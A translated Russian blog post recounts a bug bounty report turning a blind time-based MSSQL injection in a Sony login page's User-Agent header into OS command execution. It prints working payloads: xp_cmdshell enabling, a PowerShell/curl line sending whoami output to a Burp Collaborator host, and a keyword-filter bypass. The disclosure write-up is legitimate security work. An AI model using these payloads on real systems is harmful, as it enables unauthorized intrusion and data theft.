Тема информационной безопасности и защиты данных крайне актуальна для любого бизнеса, независимо от его размеров и географии. В рамках нашего блога мы решили публиковать заметки зарубежных коллег, основанные на их реальном опыте по теме. Надеемся, что приведенный материал будет вам полезен.

Предисловие


В этой статье я расскажу о своём отчёте, отправленном компании Sony в рамках публичной программы на сайте HackerOne, а также о том, как я преобразовал Blind Time-based SQL Injection в полномасштабное удалённое выполнение команды ОС.

Я вырежу из статьи такие важные подробности, как домены, поддомены, результаты работы команд, мой IP-адрес, IP-адрес сервера и другие.

Этап разведки


Для этапа разведки я использовал sublist3r для поиска поддоменов нужного мне домена.

image

Я проверил все поддомены, но ссылки оказались мёртвыми. Расстроившись, я попробовал другие инструменты разведки, например, amass. Как ни удивительно, результат оказался лучше.

amass нашёл для меня поддомены, которые нельзя увидеть в простых google-запросах. (Простите, но я не буду показывать скриншоты). Он выявил поддомен вида special.target.com.

Знакомимся ближе с Target


Перейдя на сайт, я увидел, что это что-то типа панели администратора или страницы для логина сотрудников.

image

Далее я попробовал классический символ ' для проверки на sql-ошибки. Я ввёл username=123'&password=123'.

Проверил запросы burpsuite, и конечная точка вернула мне плодотворную страницу ошибки 500. Почему плодотворную? Разработчики забыли отключить режим отладки (или что-то типа того), и это позволило мне посмотреть запрос целиком с полным путём к файлам.

image

Конечная точка уязвима к Microsoft SQL Injection.

Сам эксплойт


Я попробовал простые булевы SQL-инъекции с параметром username, но безуспешно. В ответ на любую полезную нагрузку я получал ошибки. Повторно изучив ошибку запроса, я осознал, что базе данных передаётся мой User-Agent Header. Я добавил к своему user-agent одну кавычку и комментарий ‘--, и наконец получил обычную корректную страницу.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'--

image

Хороший признак того, что сервер выполняет вводимые пользователем команды. Затем я проверил возможность time-based SQL injection, чтобы узнать, можно ли помещать запросы в стек.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';WAITFOR DELAY ‘00:00:05’;--

Ответ был отложен примерно на 5 секунд.

image

Это подтверждает, что мы можем помещать SQL-запросы в стек и выполнять инъекции любых нужных нам команд.

Расширение SQL-инъекции до RCE


Так как теперь мы знаем, что можем помещать запросы в стек, нужно найти способ исполнять здесь команды ОС. В отличие от MySQL, в MSSQL есть способ исполнения команд. Я воспользовался информацией из статьи Прашанта Кумара.

Выяснилось, что можно исполнять команды ОС при помощи xp_cmdshell, поэтому я включил на сервере xp_cmdshell.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;--

Затем я при помощи ping протестировал возможность слепого RCE

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC xp_cmdshell 'ping myburpcollablink.burpcollaborator.net';--

image

Отлично! Доступ к Burpsuite Collaborator Client был выполнен. Это подтверждает, что мы можем выполнять RCE.

В отличие от Прашанта Кумара, я не стал сохранять результаты выполнения команд в базу данных и создал неразрушительный способ считывания результатов выполнения команд ОС.

Я присвоил значение вывода переменной в powershell и отправлял их в свой BurpCollaborator при помощи curl.

Это работает так:

powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x”

Команда получает результаты выполнения whoami и отправляет их по моей ссылке burpcollab

Готовая полезная нагрузка RCE выглядит так:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';EXEC xp_cmdshell ‘powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x"';--

Результаты выполнения команды отправляются мне.

image

Также мне удалось извлечь информацию о метаданных инстансов AWS EC2, просмотреть серверные файлы и многое другое.

Обходим «исправление»


Спустя несколько дней Sony сообщила мне, что развернула патч. Я попробовал запустить свою старую полезную нагрузку, но её заблокировал файрвол. Я увидел, что компания поместила в фильтр ключевое слово EXEC xp_cmdshell.

Я обошёл фильтр, объявив переменную @x со значением xp_cmdshell и запустив команду вида EXEC @x

‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —

Хроника событий


  • 14 сентября 2021 года → отправлен первый отчёт
  • 16 сентября 2021 года → отчёт проверен Hackerone
  • 21 сентября 2021 года → развёрнут первый патч (я его обошёл)
  • 23 сентября 2021 года → развёрнут ещё один патч (я его снова обошёл)
  • 26 сентября 2021 года → развёрнут окончательный патч
  • 27 сентября 2021 года → уязвимость помечена как устранённая, выплачено вознаграждение.

P.S. Команда М.Видер-Эльдорадо ждет в своих рядах талантливых разработчиков. Перечень актуальных вакансий по ссылке. Приходите, будет интересно.

Комментарии (6)


  1. TimKorDev
    06.12.2021 10:18
    +1

    Интересно, какие выплаты у них в багбаунти.


    1. ADiaikin
      06.12.2021 11:20
      +2

      Для PS так:

      • угроза низкого уровня серьезности — от $500 для PlayStation 4, от $100 для PlayStation Network;

      • угроза среднего уровня — от $2 500 для PlayStation 4, от $400 для PlayStation Network;

      • угроза высокого уровня — от $10 000 для PlayStation 4, от $1 000 для PlayStation Network;

      • критическая угроза в сервисе — от $50 000 для PlayStation 4, от $3 000 для PlayStation Network.


  1. TimsTims
    06.12.2021 18:13
    +4

    компания поместила в фильтр ключевое слово EXEC xp_cmdshell.

    Б - безопасность). Они только cmdshell пофиксили? Так а сколько ещё "полезных" команд существует в sql инъекциях!


  1. sshmakov
    06.12.2021 23:44
    +1

    Любые патчи будут бессмысленны, если сервер ходит к базе MS под учеткой SA.


  1. emaxx
    07.12.2021 03:29
    +2

    UPD Не совсем понятно - это разработчики базы данных такой "подарок" положили, что xp_cmdshell можно включать переконфигурацией прямо из SQL-запроса? Или всё-таки по умолчанию это невозможно сделать, и подарок взломщикам был сделан админами, которые эту опцию специально разрешили?


  1. glafir
    07.12.2021 08:53
    +1

    Странное поведение "безопасников" в первый раз.

    В крупных конторах тоже всё делают "на отъебись" сначала, пока жареный Петя в сраку не зарядит? Чисто технически рчень неквалифицированное поведение персонала.